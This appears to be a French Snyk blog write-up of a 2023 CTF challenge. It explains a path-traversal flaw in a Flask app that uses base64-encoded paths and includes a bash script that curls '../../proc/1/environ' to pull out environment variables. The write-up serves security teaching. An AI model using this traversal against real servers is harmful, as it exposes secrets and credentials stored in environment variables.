Skip to main content

Snyk Fetch the Flag CTF 2023 : solution de Protect The Environment

Écrit par
snyk ctf protect the environment

30 novembre 2023

0 minutes de lecture

Merci d’avoir participé à Fetch avec nous ! Félicitations aux milliers de joueurs qui ont participé au CTF Fetch the Flag. Vous avez participé à Fetch the Flag 2023 de Snyk et cherchez la solution du défi Protect The Environment ? Vous êtes au bon endroit. Découvrons ensemble la solution !

Le défi utilise une couche d’encodage base64 faite maison pour les chemins. Cela semble fonctionner, mais empêche Flask de chroot automatiquement les fichiers statiques. Il s’agit d’une attaque par inclusion de fichier, mais au lieu d’inclure un fichier, vous incluez le fichier /proc/<pid>/environ. L’utilisateur ne connaît pas le PID et ne dispose d’aucun moyen de le découvrir, mais ce n’est pas un problème, car PID 1 fonctionne (ou vous pouvez simplement les énumérer : vous trouverez alors PID 8, utilisé par les workers Gunicorn).

#!/bin/bash

if [[ -z "$1" ]]
then
    echo "IP address or hostname not specified"
    exit 1
fi

if [[ -z "$2" ]]
then
    echo "Port not specified"
    exit 1
fi

curl -s http://$1:$2/`echo "assets/../../../../../../proc/1/environ" | base64` -o - | strings | grep -oE "flag{.*?}" --color=none

Merci d’avoir contribué à faire de Fetch un succès !

Un immense merci à toutes les équipes de Fetch the Flag 2023 ! C’était un plaisir de vous voir tous là-bas. Vous pouvez toujours me retrouver sur YouTube.

Voici les solutions des autres défis de 2023. À vous de jouer !

Publié dans:

Lire la suite

Blog

Fetch the Flag CTF 2026 : solutions officielles des défis et temps forts de la communauté

Découvrez les comptes rendus officiels et les temps forts de la communauté du CTF Fetch the Flag 2026, avec plus de 20 défis en sécurité web, en IA et en cryptographie. Apprenez auprès des experts et plongez dans les détails techniques des énigmes binaires et des exploits web les plus complexes de cette année.

Blog

4 raisons pour lesquelles les CTF sont l’un des meilleurs moyens de progresser en cybersécurité

Les compétitions Capture The Flag (CTF) sont un excellent moyen d’accélérer votre carrière en cybersécurité : elles vous confrontent à des vulnérabilités réelles et à des domaines techniques variés. Découvrez pourquoi les CTF sont l’un des meilleurs moyens de développer votre expertise et votre réseau professionnel.

Compliance FEATURE cropped
Blog

Le guide ultime des prochains CTF : de débutant à hacker d’élite en 6 mois (octobre 2025 - avril 2026)

En 6 mois, passez de débutant à expert des CTF grâce à ce guide ultime ! Découvrez les meilleures compétitions, comprenez les niveaux de difficulté et préparez votre stratégie pour réussir d’octobre 2025 à avril 2026.